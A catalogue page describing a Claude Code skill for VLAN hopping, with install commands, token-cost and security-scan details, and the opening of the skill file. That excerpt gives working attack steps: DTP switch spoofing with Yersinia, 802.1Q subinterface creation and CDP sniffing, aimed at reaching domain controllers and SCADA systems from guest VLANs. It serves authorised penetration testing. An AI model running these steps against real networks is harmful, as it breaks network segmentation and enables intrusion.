vlan-hopping-and-trunking

vlan-hopping-and-trunking is a skill for Claude Code from akashrpatil/awesome-offensive-security-skills. It costs 87 tokens per session (1,971 once invoked), scanned A, original, Apache-2.0.

A network penetration-testing procedure for checking whether a device on one VLAN can reach other isolated VLANs through switch misconfiguration. VLANs are logical network segments used to separate traffic, such as guest, voice, and internal systems.

In plain words
What is it for?
Auditing switch ports, testing Dynamic Trunking Protocol and double-tagging weaknesses, validating VLAN boundaries, and recording segmentation findings.
Why use it?
It helps confirm whether incorrect trunk or negotiation settings defeat the intended network separation. This can reveal a path from a restricted network to sensitive servers or industrial systems.

Skill for Claude Code

Written for Claude Code: shipped in a Claude Code plugin.

Needs its repository: it reads a path above its own folder, which exists only inside the repository. The line is - [`_shared/references/elite-chaining-strategy.md`](../_shared/references/elite-chaining-strategy.md) — Exploit chaining methodology and high-payout chain patte.

Part of the cyberskills-elite plugin — 191 skills shipped together

Good fit Auditing switch ports, testing Dynamic Trunking Protocol and double-tagging weaknesses, validating VLAN boundaries, and recording segmentation findings.

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Install

Getting it into your agent

It runs from inside its repository, so the clone comes first — what it calls does not travel with the file alone.

Clone the repo
git clone --depth 1 https://github.com/akashrpatil/awesome-offensive-security-skills
agentmods
npx agentmods add skills/akashrpatil/awesome-offensive-security-skills/vlan-hopping-and-trunking

Made for: Claude Code.

Or install cyberskills-elite, the plugin that ships this one along with the rest of its 191 skills.

Wrote this? Show the measurements

A badge with what this costs and how it scanned, read live from this page, so it follows the numbers instead of freezing them. Markdown for a README, HTML for a documentation site or a project page.

agentmods badge for vlan-hopping-and-trunking

README.md
[![agentmods](https://agentmods.dev/badge/skills/akashrpatil/awesome-offensive-security-skills/vlan-hopping-and-trunking/github.svg)](https://agentmods.dev/skills/akashrpatil/awesome-offensive-security-skills/vlan-hopping-and-trunking)
Your own site
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Or the 80×15 button, for a site that already has a row of RSS and ATOM ones. Only the verdict fits; the numbers stay here.

agentmods 80×15 button for vlan-hopping-and-trunking

Your own site · 80×15
<a href="https://agentmods.dev/skills/akashrpatil/awesome-offensive-security-skills/vlan-hopping-and-trunking"><img src="https://agentmods.dev/badge/skills/akashrpatil/awesome-offensive-security-skills/vlan-hopping-and-trunking.svg" alt="Reviewed on agentmods" width="80" height="20"></a>
Per session 87 Skills are progressive disclosure: only the name and description are preloaded; the body loads when the skill is used.
When invoked 1,971 The whole file, excluding the scripts and references it only reads on demand.
Security scan A 1 finding. A grade says what 26 rules found in the file — not that it is safe.
Origin original No closer match found in the catalogue.
Token cost

What it costs to keep this loaded

Counted locally with the o200k_base tokenizer, which is exact for GPT models; Claude uses its own tokenizer and its counts differ. Treat this as one consistent yardstick across the catalogue rather than a bill. Prices are per million input tokens.

ModelPer sessionOnce invoked
Fable 5.1 $0.00087 $0.01971
Opus 5 $0.00044 $0.00986
Sonnet 5 $0.00017 $0.00394
Haiku 4.5 $0.00009 $0.00197

Measured 9d ago against content hash acd1eaa3bc6d, method: parsed. Prices are Anthropic first-party input rates as of 2026-09-12, from the pricing page.

Security

Grade A, and why

vlan-hopping-and-trunking scanned grade A with 1 finding against 26 rules in 11 categories — prompt injection, anti-refusal, data exfiltration, privilege escalation, supply chain, agent snooping, system-prompt leakage, SSRF and excessive agency — measured 9d ago.

The scan reads SKILL.md. This mod also ships 1 executable file (scripts/process.py), listed below but not scanned — reading those needs a real analyzer, not pattern matching.

A static scan of the body, not an audit. Every finding is printed with the line that produced it so you can judge whether it matters here. A mod is markdown that instructs an agent; that is exactly why what it instructs is worth reading.

Asks for rootlowPrivilege escalation

A mod that escalates privileges can change anything on the machine, not only the project.

sudo tcpdump -i eth0 -nn -v -e | grep -i dtp

Downgraded: this mod is about security review, or the phrase is quoted, so it is likely naming the pattern rather than instructing it.

skills/penetration-testing/network/vlan-hopping-and-trunking/SKILL.md · 174 lines

How it starts

The opening of the file, as written. The whole thing — 174 lines — stays where its author put it; the contents beside it link to each section on GitHub.

VLAN Hopping & Trunking Attacks

When to Use

  • You plug a physical device into a wall jack (e.g., in a conference room) and end up on a heavily restricted Guest or VoIP VLAN.
  • Your objective is to reach the internal subnets containing Domain Controllers, sensitive servers, or SCADA equipment.
  • When validating if a client's core networking equipment is securely configured.

Prerequisites

  • Network access to the target subnet (VPN, pivot, or direct connection)
  • Nmap and relevant network scanning tools installed
  • Understanding of TCP/IP, common protocols, and network segmentation
  • Root/admin access on the attack machine for raw socket operations

Workflow

Phase 1: Passive Reconnaissance (Identifying DTP and Trunking)

# Concept: If a switch port is placed in "Dynamic Desirable" or "Dynamic Auto" mode,
# it listens for DTP (Dynamic Trunking Protocol) packets to negotiate a trunk link.
# If we negotiate a trunk link, we can see and inject traffic into ALL VLANs.

# 1. Fire up Wireshark or tcpdump on your connected interface (eth0).
# Leave it running for a few minutes.
sudo tcpdump -i eth0 -nn -v -e | grep -i dtp

# 2. Look closely at CDP (Cisco Discovery Protocol) or LLDP packets.
# These protocols often leak the Native VLAN ID, Management IP addresses, and Switch models.
sudo tcpdump -i eth0 -nn -v -s 1500 -c 1 'ether[20:2] == 0x2000' # CDP filter

Phase 2: Switch Spoofing Attack (DTP Exploitation)

# Concept: Impersonate a switch by sending DTP "Desirable" packets.
# If the target switch port isn't hardcoded to Access Mode (switchport mode access),
# it will form a Trunk with our attacking laptop.

# 1. Use Yersinia to send DTP packets
# Launch Yersinia in interactive mode
sudo yersinia -I

# Press 'g' and select DTP (Dynamic Trunking Protocol).
# Press 'x' to open the attack menu.
# Select "Enable trunking".

# 2. Verify Trunk establishment
# If successful, your interface should start receiving broadcast traffic from MULTIPLE VLANs.
sudo tcpdump -i eth0 -e | grep "802.1Q"

# 3. Create virtual interfaces to access the targets
# Now that we are trunking, we need an IP on the target VLAN (e.g., VLAN 10).
sudo modprobe 8021q
sudo vconfig add eth0 10
sudo ifconfig eth0.10 up
sudo dhclient eth0.10

# BOOM! If DHCP assigns an IP, you've successfully hopped onto the restricted VLAN 10.

Read the full file on GitHub · 174 lines

Files

What ships with it

2 files beside SKILL.md in the same directory: the scripts, references and assets a skill reads on demand. Not counted in the per-session cost; read them before you install if any of them is executable.

Changes

What this file has done since we first saw it

Hashed on every crawl. A supply-chain change to an agent config is a question of when, not whether, so the history is kept rather than the latest state alone.

  1. 9d ago First seen · 174 lines · 87 tokens per session scan A acd1eaa3bc6d

Subscribe to this mod's changes

vlan-hopping-and-trunking is a skill published in the GitHub repository akashrpatil/awesome-offensive-security-skills (5 stars, last pushed 4mo ago), licensed Apache-2.0. It adds 87 tokens to every session and 1,971 once invoked, about $0.0004 per session on Opus 5. A static security scan graded it A with 1 finding (asks for root). No closer match exists in the catalogue, so it is treated as the original; first seen 2026-09-03.

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